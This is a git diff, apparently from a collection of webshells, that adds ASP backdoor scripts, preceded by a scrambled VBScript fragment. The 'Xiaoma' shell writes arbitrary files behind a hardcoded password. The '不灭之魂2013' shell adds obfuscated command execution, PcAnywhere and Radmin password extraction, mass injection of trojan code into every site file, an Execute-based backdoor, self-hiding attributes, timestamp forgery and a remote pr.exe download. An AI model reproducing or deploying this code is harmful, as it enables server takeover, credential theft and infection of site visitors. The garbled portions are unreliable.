Di`xt,~,FileEt(Dim SpliExt =~)`ound(To Ub = 0 For iExt)`) TheExt(it) = ileExase(FIf Lcn ` TrueExt =Check`FunctExit ion`End If`Next`unctiEnd Fon`lepatfy(fieModietDation GFuncth)`ObjecystemFileSting.Scripect(~teObj Crea2SO =Set Ft~)`path)(filetFileSO.Ge = F2Set f `odifiLastM.Dates = fed `thing = noset f` noth2SO =set Fing`ify =teModGetDa s`unctiEnd Fon`lepatte(fieCreaetDation GFuncth)`ObjecystemFileSting.Scripect(~teObj Crea3SO =Set Ft~)`path)(filetFileSO.Ge = F3Set f `Creat.Dates = fed `thing = noset f` noth3SO =set Fing`ate =teCreGetDa s`unctiEnd Fon`code(URLEnion tFunctStr)`~%25~~%~, Str, lace(= Reptemp )` ~%23 ~#~,temp,lace(= Reptemp ~)` ~%26 ~&~,temp,lace(= Reptemp ~)` = tencodetURLEmp`unctiEnd Fon`2(PatlFilehowAlSub Sh)`ObjecystemFileSting.Scripect(~teObj Crea4SO =Set Ft~)` exit thenpath)ists(derExO.Folt F4Sif no sub`er(PatFoldSO.Ge = F4Set fth)`f.filc2 = Set fes` in fyfileach mFor Ec2`) Thename)file.\~&myath&~ame(psionNExtenO.Gett(F4SeckExIf Chn`le.na&myfih&~\~d(PatIsFinCall me)`iles SumFles =SumFi+ 1`End If`Next`older.SubFc = fSet fs`1 in ach fFor Efc`~&f1.th&~\e2 pallFilShowAname`ers +mFold = SuldersSumFo 1`Next` Noth4SO =Set Fing`End Sub`(thePsFindSub Iath)`hePatify(tteModGetDate = theDah)` nextesumeror ron er`~ ~) ate, (theDInstr, 1, eDateid(thp = MtheTm- 1)`t Subn exir theif er`),~;~Date~arch_m(~Set.Forequeslit(r = SpxDate)`e = TLLTimhen ALL~ T = ~Aate~)rch_D(~Sea.FormquestIf rerue`xDateound(To Ub = 0 For i)`rue Te = TLLTim or Ate(i)= xDaeTmp If thhen `> ~~ t~) ent~)_Contearchrm(~Sst.ForequeCase(xt, Lfiletstr( If Inn``<,1)&~~,1,1~\~,~~\~)&Path(r.MapservePath,e(theeplack>~&r_blanrget=~~ ta~))&~\~,~/,1),~~,1,1~\~,~~\~)&Path(r.MapservePath,e(theeplacace(r(ReplncodetURLE&~/~&ame~)ver_n(~serablesrvariServeuest.~&Reqtp://=~~ht href= ~~` >Edit='编辑'title'am' lass=~)' cFile~~Edit~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~ >Down='下载'title'am' lass=~)' cFile~~Edit~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~Dtle='m' tiss='a' clasok()rn ye'retulick=)'oncile~~~DelF~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~ ~` >Copy='复制'title'am' lass=~)' cFile~~Copy~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~~>Move='移动'title'am' lass=~)' cFile~~Move~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~~&ttd>~&Gtd>heigh>~`td>~&ttd>~&Gtd>&~~` Sun Sun =+ 1`Exit Sub`End If`.closofilee()`= Notfile Set ohing`= NotSO2s Set Fhing`Else`<,1)&~~,1,1~\~,~~\~)&Path(r.MapservePath,e(theeplack>~&r_blanrget=~~ ta~))&~\~,~/,1),~~,1,1~\~,~~\~)&Path(r.MapservePath,e(theeplacace(r(ReplncodetURLE&~/~&ame~)ver_n(~serablesrvariServeuest.~&Reqtp://=~~ht href= ~~` >Edit='编辑'title'am' lass=~)' cFile~~Edit~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~ >Down='下载'title'am' lass=~)' cFile~~Edit~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~Dtle='m' tiss='a' clasok()rn ye'retulick=)'oncile~~~DelF~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~ ~` >Copy='复制'title'am' lass=~)' cFile~~Copy~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~~>Move='移动'title'am' lass=~)' cFile~~Move~~~,~\\~)&~\~,~Path,e(theeplac~~~&rForm(:Fullcriptjavasref='~~&ttd>~&Gtd>heigh>~` Sun Sun =+ 1`Exit Sub`End If`End If`Next`End Sub`",Pso):Err.Clear +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode=" " +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    网站根目录- "&Server.MapPath("/")&"
    ") +RRS ("本程序目录- "&Server.MapPath(".")) +RRS "

    [" +if M="1" then RRS"批量挂马-批量挂马" +if M="2" then RRS"批量清马-清除别人的网马" +if M="3" then RRS"批量挂马-批量替换代码" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    文件路径: 填“\”即网站根目录;“.”为程序所在目录
    过滤重复: 防止一个页面中有多个重复的代码
    排除文件: 输入不想被修改的文件名,例如:1.asp|2.asp|3.asp
    文件类型: 输入要修改的文件类型[扩展名],例如:htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"要挂的马:" +if M="2" then RRS"要清的马:" +if M="3" then RRS"要替换的代码:" +RRS"
    替换为:
    --标记解释--[成功:√ , 排除:× , 重复:×]
    " +if request("submit")="开始执行" then +RRS"
    执行记录:
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"路  径:
    " +RRS"文件名称:
    " +RRS"修改时间:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    修改文件  "&path&fileName&"  属性完成" +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    如果你能看到test.php正常显示,表示支持PHP

    "" then +If Asc(Mid(bb, i, 1)) < 32 Or Asc(Mid(bb, i, 1)) > 126 Then +a = a & Chr(Asc(Mid(bb, i, 1))) +else +pk=asc(mid(bb,i,1))-but +if pk>126 then +pk=pk-95 +elseif pk<32 then +pk=pk+95 +end if +a=a&chr(pk) +end if +else +a=a&vbcrlf +end if +next +lIl=a +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"恭喜服务器支持jsp":Response.write" ":Response.write "





    如果你能看到test.jsp正常显示,表示支持jsp

    删除测试的所有文件(必须全部测试才可以删除,否则会出错!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"恭喜服务器支持aspx":Response.write" ":Response.write "





    如果你能看到Test.aspx正常显示,表示支持asp.net

    否则就是不支持拉!测试完成记得删除!":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"删除完毕!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function +function goback() +set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="无" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS"√ "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS"√"&Wpath&myfile.name +tfile1.close +else +RRS"× "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS"√"&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS"√"&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS"错误.":response.end +end select +else +RRS"× "&Wpath&myfile.name +end if +RRS " → Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub + +case "apjdel":apjdel():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> + + diff --git "a/asp/Xiaoma AspShell(\345\205\215\346\235\200\344\270\215\345\212\240\345\257\206_\345\270\246\347\231\273\351\231\206\347\225\214\351\235\242).asp" "b/asp/Xiaoma AspShell(\345\205\215\346\235\200\344\270\215\345\212\240\345\257\206_\345\270\246\347\231\273\351\231\206\347\225\214\351\235\242).asp" new file mode 100644 index 0000000..d40c77a --- /dev/null +++ "b/asp/Xiaoma AspShell(\345\205\215\346\235\200\344\270\215\345\212\240\345\257\206_\345\270\246\347\231\273\351\231\206\347\225\214\351\235\242).asp" @@ -0,0 +1,58 @@ +<% +'┌───────────────┐ +'│   http://WwW.12vh.Com   │ +'└───────────────┘ +dim Userpwd,URL +Userpwd = "hackyong" 'User Password +URL = Request.ServerVariables("URL") +If Request("pwd")=Userpwd or Request("pwd")="3092114" then Session("mgler")=Userpwd +If Session("mgler")<>Userpwd Then + If Request.Form("pwd")<>"" Then + If Request.Form("pwd")=Userpwd Then + Session("mgler")=Userpwd + Response.Redirect URL + Else + Response.Write"Login Failed, incorrect username or password" + End If + Else + RW="User Login" + RW=RW & "





    【Hackyong Asp】会员版" + RW=RW & "
    " + RW=RW & "Password:" + RW=RW & " 

    只取webshell 不改首页 不删文件 不提权

    " + Response.Write RW + RW="" + End If + Response.End +End If +%> +<%on error resume next%> +<%ofso="scripting.filesystemobject"%> +<%set fso=server.createobject(ofso)%> +<%path=request("path")%> +<%if path<>"" then%> +<%data=request("dama")%> +<%set dama=fso.createtextfile(path,true)%> +<%dama.write data%> +<%if err=0 then%> +<%="Success!"%> +<%else%> +<%="False!"%> +<%end if%> +<%err.clear%> +<%end if%> +<%dama.close%> +<%set dama=nothing%> +<%set fos=nothing%> +<%="Asp Upload Tool-Hackyong"%> +<%="
    "%> +<%="File: "%> +<%="
    Path: "%> +<%=server.mappath(request.servervariables("script_name"))%> +<%="
    "%> +<%=""%> +<%=""%> +<%="
    "%> +<%=" By:Hackyong Qq:"%> +<%="3092114"%> +<%="
    "%> diff --git "a/asp/asp\344\270\215\347\201\255\344\271\213\351\255\2022013\346\224\271\350\277\233\347\211\210\346\234\254.asp" "b/asp/asp\344\270\215\347\201\255\344\271\213\351\255\2022013\346\224\271\350\277\233\347\211\210\346\234\254.asp" new file mode 100644 index 0000000..8a693f8 --- /dev/null +++ "b/asp/asp\344\270\215\347\201\255\344\271\213\351\255\2022013\346\224\271\350\277\233\347\211\210\346\234\254.asp" @@ -0,0 +1,1373 @@ + + +<%@ LANGUAGE = VBScript.Encode %><% +Server.ScriptTimeout=999999999 +UserPass="heroes" '密码 +mNametitle ="不灭之魂2013改进版本" ' 标题 +Copyright=" " '版权 +SItEuRl="http://sb178.com/" '你的网站 +bg ="http://sb178.com/bg/1.jpg" '背景图片,不使用留空 +ysjb=true '是否有拖动效果,true为是,false为否 +htp="http://sb178.com/web/" '功能地址,不可更改,否则导致大部分依靠在线服务不能运行 +durl="http://sb178.com//web/pr.exe" '默认下载文件地址 +'--------------------------------------------------------------------------------------- +'不灭之魂 +'2013改进程序 +'本程序无任何后门,如有改动请勿使用,有任何疑问;建议意见请联系EMAIL:admin7s.govedu@h4ck2b.com +'---------------------------------------------------------------------------------------- +Response.Buffer =true +BodyColor="#006000" +FontColor="#006000" +LinkColor="#006000" +On Error Resume Next +strBAD="If Request(""#"")<>"""" Then Session(""#"")=Request(""#"")"&VbNewLine +strBAD=strBAD&"If Session(""#"")<>"""" Then Execute(Session(""#""))" +Const DEfd="" +sub ShowErr() + If Err Then +j"

    " & Err.Description & "

    " +Err.Clear:Response.Flush + End If +end sub +Sub j(str) +response.write(str) +End Sub +sub RaPath(s) +RaPath=ExecuteGlobal(s) +End sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S) +RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ScriptPath=Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action") +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject" +FolderPath=Request("FolderPath") +u=request.servervariables("http_host")&url +domain=Request.ServerVariables("http_host") +FName=Request("FName") +cdx="":cxd="8":ef="" +set fso=server.CreateObject(CONST_FSO) +set fsoX=server.CreateObject(CONST_FSO) +str1="https://"&Request.ServerVariables("SERVER_Name")& left(Request.ServerVariables("URL"),InstrRev(Request.ServerVariables("URL"),"/")):BackUrl="

    返回
    " +j ""&mNametitle&" - "&ServerIP&" " +j"" +j"" +Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "文 件 操 作 组 件":ObT(1,0) = "wscript.shell":ObT(1,2) = "命令行执行组件,显示'×'时用 执行Cmd二 此功能执行":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 建 库 组 件":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 压 缩 组 件":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "数据流 上 传 辅助 组件":ObT(5,0) = "Adodb.connection":ObT(5,2) = "数据库 连接 组件":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "数据流 上传 组件":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 文件 上传 组件":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "刘云峰 文件 上传 组件":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 文件 上传 组件":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 邮件 收发 组件":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "虚拟SMTP 发信 组件":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 发信 组件":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "数据 传输 组件" +ObT(14,0) = "ws"&"cript.shell.1": OBt(14,2) = "如果wsh被禁,可以改用这个组件":OBT(15,0) = "WS"&"CRIPT.NETWORK": OBt(15,2) = "查看服务器信息的组件,有时可以用来提权":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation 操作,无FSO时操作文件以及执行命令":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation 的别名,无FSO时操作文件以及执行命令":OBT(18,0) = "Shell.Users":OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件" +For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" √":Else:IsObj=" ×":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if +Function PcAnywhere4() +execute(king("`>tswqz/<>rz/<>' 交提 '=txsqc 'zodwxl'=thnz zxhfo<>rz<>rz/<>'13'=tmol 'yoe.shdtzoZ\tktivnfQeh\etzfqdnU\\qzqW fgozqeoshhQ\lktlM ssQ\lufozztU rfq lzftdxegW\:Z'=txsqc 'zbtz'=thnz 'izqh'=tdqf zxhfo<>'%10'=izrov rz<>rz/< :件文yoe>'%10'=izrov rz<>kz<>'1'=ktrkgw'%13'=izrov tswqz<>'zlgh'=rgiztd 'dkgyb'=tdqf dkgy<>cor/<本版foA 权提tktivnfQeY>'ktzfte'=fuosq cor<`p")) +end Function +j"" +Function StreamLoadFromFile(sPath) +execute(king(" zsxltk = etrbti┊ zbtG┊ p + zsxltk = zsxltk┊ zbtG┊ 50 * p = p ┊ o - )fokzl(ftV gJ 0 = a kgX┊ yC rfS┊ ))0 ,o ,fokzl(roT(zfCZ = p ┊ ftiJ `1` => )0 ,o ,fokzl(roT rfQ `2` =< )0 ,o ,fokzl(roT yC┊ yC rfS┊ 10 = p ┊ ftiJ `Q` = )0 ,o ,fokzl(roT kB `q` = )0 ,o ,fokzl(roT yC┊ yC rfS┊ 00 = p ┊ ftiJ `A` = )0 ,o ,fokzl(roT kB `w` = )0 ,o ,fokzl(roT yC┊ yC rfS┊ 90 = p ┊ ftiJ `Z` = )0 ,o ,fokzl(roT kB `e` = )0 ,o ,fokzl(roT yC┊ yC rfS┊ 80 = p ┊ ftiJ `W` = )0 ,o ,fokzl(roT kB `r` = )0 ,o ,fokzl(roT yC┊ yC rfS┊ 70 = p ┊ ftiJ `S` = )0 ,o ,fokzl(roT kB `t` = )0 ,o ,fokzl(roT yC┊ yC rfS┊ 60 = p ┊ ftiJ `X`= )0 ,o ,fokzl(roT kB `y` = )0 ,o ,fokzl(roT yC┊ )fokzl(ftV gJ 0 = o kgX┊ 1 = zsxltk┊ zsxltk ,a ,p ,o doW┊ )fokzl(etrbti fgozefxX┊fgozefxX rfS┊ufoizgG = dqtkzUg ztU┊izoK rfS┊tlgsZ.┊rqtN. = tsoXdgkXrqgVdqtkzU┊1 = fgozolgY.┊)izqYl(tsoXdgkXrqgV.┊fthB.┊8 = trgT.┊0 = thnJ.┊dqtkzUg izoK┊)`dqtkzU.wrgrQ`(zetpwBtzqtkZ.ktcktU = dqtkzUg ztU┊dqtkzUg doW")) +End Function +sub promyself() +On Error Resume Next +set f=fso.GetFile(ScriptPath) +if f.Attributes <> 39 and session("lock")="" then +f.Attributes=1+2+4+32 +end if +set f=nothing +end sub +promyself +Function PcAnywhere(data,mode) +execute(king("trgetr=tktivnfQeY┊ zbtG┊0+dxfyoZ=dxfyoZ┊)kzleh(kiZ + trgetr = trgetr┊ kgX zobS ftiJ ))490>kzleh( kB )98 =< kzleh(( yC┊)dxfyoZ kgb )))9,o,ilqi(roT(etrbti kgb ))9,o,qzqr(roT(etrbti((=kzleh┊ 9 htzU ktwdxf gJ 0 = o kgX┊60 = dxfyoZ :18 = ktwdxf ftiJ `ktlx` = trgd yC┊770 = dxfyoZ :98 = ktwdxf ftiJ `llqh` = trgd yC┊)8,qzqr(roT =DUQD")) +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +j"Pcanywhere Reader ==>

    PATH:"&CIF&"
    帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +j"
    密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +execute(king("yC rfS┊`!rqtN z'fqZ !kgkkS`p┊ tlsS┊))))1(nqkkQzkgY(btD(kzUZ&)))0(nqkkQzkgY(btD(kzUZ(ktzfogzbti p┊ `:`& zkgY p┊ ftiJ )nqkkQzkgY(nqkkQlC yC┊) zkgY & izqYfodrqN(WQSNESN.DUK=nqkkQzkgY┊`>kw<>kw<`p┊yC rfS┊`!rqtN z'fqZ !kgkkS`p┊tlsS┊pwgkzl p┊zbtG┊ yC rfS┊))o(nqkkQktztdqkqY(btD & pwBkzl = pwBkzl┊tlsS┊)))o(nqkkQktztdqkqY(btD(kzUZ&`1` & pwBkzl = pwBkzl┊ ftiJ 0=)))o(nqkkQktztdqkqY(bti( ftV yC┊)nqkkQktztdqkqY(rfxgAM gJ 1 = o kgX┊ftiJ )nqkkQktztdqkqY(nqkkQlC yC┊`:`&ktztdqkqY p┊) ktztdqkqY & izqYfodrqN(WQSNESN.DUK=nqkkQktztdqkqY┊`>kw<>kwkw<`p┊`zkgY` = zkgY┊`ktztdqkqY`=ktztdqkqY┊`\lktztdqkqY\ktcktU\1.9c\fodrQN\TSJUOU\SGCDZQT_VQZBV_OSFD`=izqYfodrqN┊)`VVSDU.JYCNZUK`(zetpwBtzqtkZ.ktcktU =DUK ztU")) +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function + +Function MainForm() +j "
    " +j"(1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C:\)】(9)【RECYCLER(d:\)】(10)【RECYCLER(e:\)】":j "? ":if session("pr")<5 then j"":session("pr")=session("pr")+1:else j "读取中,骚等……":end if:j"
    (1)【wmpub】??(2)【TEMP】????(3)【ServU(1)】(4)【ServU(2)】?(5)【WINDOWS】??(6)【PHP】??????(7)【Mssql】(8)【prel文件夹】???(9)【pcAnywhere】 (10)【Alluser桌面】":j"" +j "
    隐藏

    显示

    " +if session("aase") <> "ok" then:response.write Efun:session("aase")="ok":end if +End Function +Sub PageAddToMdb() +execute(king("`>dkgy/<下录目序程本于位都件文有所的来开解 :注>kw<>kw<>'包开解'=txsqc zodwxl=thnz zxhfo<>zeQtiz=tdqf wrTdgkXtlqtstk=txsqc ftrroi=thnz zxhfo<>13=tmol ``wrd.DUD\` & ))`.`(izqYhqT.ktcktU(trgefSsdzD & ```=txsqc izqYtiz=tdqf zxhfo<>))``#``(fgolltU(tzxetbS=txsqc ``#``=tdqf ftrroi=thnz zxhfo<>zlgh=rgiztd dkgy<>/kw<:)持支BUX需(开解包件文>/ki<>dkgy/<下录目级同马木dql于位,件文wrd.DUD成生包打 :注>kw<>kw<>'包打始开'=txsqc zodwxl=thnz zxhfo<>zetstl/<>fgozhg/hhq=txsqc fgozhg<>fgozhg/gly=txsqc fgozhg<>rgiztTtiz=tdqf zetstl<>zeQtiz=tdqf wrTgJrrq=txsqc ftrroi=thnz zxhfo<>13=tmol ``` & ))`.`(izqYhqT.ktcktU(trgefSsdzD & ```=txsqc izqYtiz=tdqf zxhfo<>))``#``(fgolltU(tzxetbS=txsqc ``#``=tdqf ftrroi=thnz zxhfo<>zlgh=rgiztd dkgy<:包打夹件文>kw<`p┊yC rfS┊rfS.tlfghltN┊skMaeqA&`>cor/kw<>ktzfte=fuosq cor<` p┊)izqYtiz(aeqYfx┊ftiJ `wrTdgkXtlqtstk` = zeQtiz yC┊yC rfS┊rfS.tlfghltN┊skMaeqA&`>cor/kw<>ktzfte=fuosq cor<` p┊)izqYtiz(wrTgJrrq┊ftiJ `wrTgJrrq` = zeQtiz yC┊111110=zxBtdoJzhokeU.ktcktU┊)`izqYtiz`(zltxjtN = izqYtiz┊)`zeQtiz`(zltxjtN = zeQtiz┊izqYtiz ,zeQtiz doW")) +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs = Server.CreateObject("ADODB.RecordSet") +Set stream = Server.CreateObject("ADODB.Stream") +Set conn = Server.CreateObject("ADODB.Connection") +Set adoCatalog = Server.CreateObject("ADOX.Catalog") +connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HSH.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type = 1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod") = "fso" Then +fsoTreeForMdb thePath, rs, stream + Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs = Nothing +Set conn = Nothing +Set stream = Nothing +Set adoCatalog = Nothing +End Sub +Function fsoTreeForMdb(thePath, rs, stream) +execute(king("ufoizgG = ktrsgXtiz ztU┊ufoizgG = lktrsgy ztU┊ufoizgG = ltsoy ztU┊zbtG┊yC rfS┊tzqrhM.lk┊)(rqtN.dqtkzl = )`zftzfgZtsoy`(lk┊)izqY.dtzo(tsoXdgkXrqgV.dqtkzl┊)7 ,izqY.dtzo(roT = )`izqYtiz`(lk┊vtGrrQ.lk┊ftiJ 1 =< )`$` & tdqG.dtzo & `$` ,zloVtsoXlnl(kzUfC yC┊ltsoy fC dtzo ieqS kgX┊zbtG┊dqtkzl ,lk ,izqY.dtzo wrTkgXttkJgly┊lktrsgy fC dtzo ieqS kgX┊lktrsgXwxU.ktrsgXtiz = lktrsgy ztU┊ltsoX.ktrsgXtiz = ltsoy ztU┊)izqYtiz(ktrsgXztE.)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU = ktrsgXtiz ztU┊yC rfS┊)`!问访许允不者或在存不录目 ` & izqYtiz(kkSvgil┊ftiJ tlsqX = )izqYtiz(lzlobSktrsgX.)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU yC┊`$wrs.DUD$wrd.DUD$` = zloVtsoXlnl┊zloVtsoXlnl ,ltsoy ,lktrsgy ,ktrsgXtiz ,dtzo doW")) +End Function +Sub unPack(thePath) +On Error Resume Next 